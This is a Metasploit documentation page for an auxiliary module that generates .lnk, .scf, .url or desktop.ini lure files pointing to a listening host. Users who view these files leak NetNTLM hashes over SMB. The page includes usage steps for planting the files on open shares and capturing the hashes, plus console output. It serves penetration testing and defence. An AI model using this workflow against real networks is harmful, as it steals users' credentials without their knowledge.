metasploit-framework/documentation/modules/auxiliary/multidrop.md

This module dependent on the given filename extension creates either a .lnk, .scf, .url, desktop.ini file which includes a reference to the the specified remote host, causing SMB connections to be initiated from any user that views the file. This allows for NetNTLM hashes to be captured by a listening user.

Vulnerable Application

Microsoft Windows

Verification Steps

1. Install the application
2. Start msfconsole
3. Do: use auxiliary/multidrop
4. Customise Options as required
5. Do: run
6. A file pointing back to the listening host will then be generated.
7. Configure auxiliary/server/capture/smb or similar to capture hashes.
8. Upload the document to an open share or similar and wait for hashes.

Options

FILENAME This option allows you to customise the generated filename and filetpye that is generated.

To generate desktop.ini configure a filename of desktop.ini To generate a scf file configure a filename of anyname.scf To generate a url file configure a filename of anyname.url To generate a lnk file configure a filename of anyname.lnk

Filetype generation is based on the file extension.

LHOST This option allows you to set the IP address of the SMB Listener that the document points to This can be changed using set LHOST 192.168.1.25

Scenarios

Microsoft Windows

Console output

msf auxiliary(multidrop) > show info

     Name: Windows SMB Multi Dropper
   Module: auxiliary/multidrop
  License: Metasploit Framework License (BSD)
     Rank: Normal

Provided by:
Richard Davy - secureyourit.co.uk
Lnk Creation Code by Mubix

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
FILENAME  test.url         yes       Filename - supports .lnk, .scf, .url, desktop.ini
LHOST     192.168.1.19     yes       Host listening for incoming SMB/WebDAV traffic

Description:
This module dependent on the given filename extension creates either 
a .lnk, .scf, .url, desktop.ini file which includes a reference to 
the the specified remote host, causing SMB connections to be 
initiated from any user that views the file.

References:
https://malicious.link/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018
https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/


msf auxiliary(multidrop) > exploit

[+] desktop.ini stored at /root/.msf4/local/desktop.ini
[] Auxiliary module execution completed
msf auxiliary(multidrop) > set filename test.lnk
filename => test.lnk
msf auxiliary(multidrop) > exploit

[+] test.lnk stored at /root/.msf4/local/test.lnk
[] Auxiliary module execution completed
msf auxiliary(multidrop) > set filename test.scf
filename => test.scf
msf auxiliary(multidrop) > exploit

[+] test.scf stored at /root/.msf4/local/test.scf
[] Auxiliary module execution completed
msf auxiliary(multidrop) > set filename test.url
filename => test.url
msf auxiliary(multidrop) > exploit

[+] test.url stored at /root/.msf4/local/test.url
[] Auxiliary module execution completed
msf auxiliary(multidrop) > back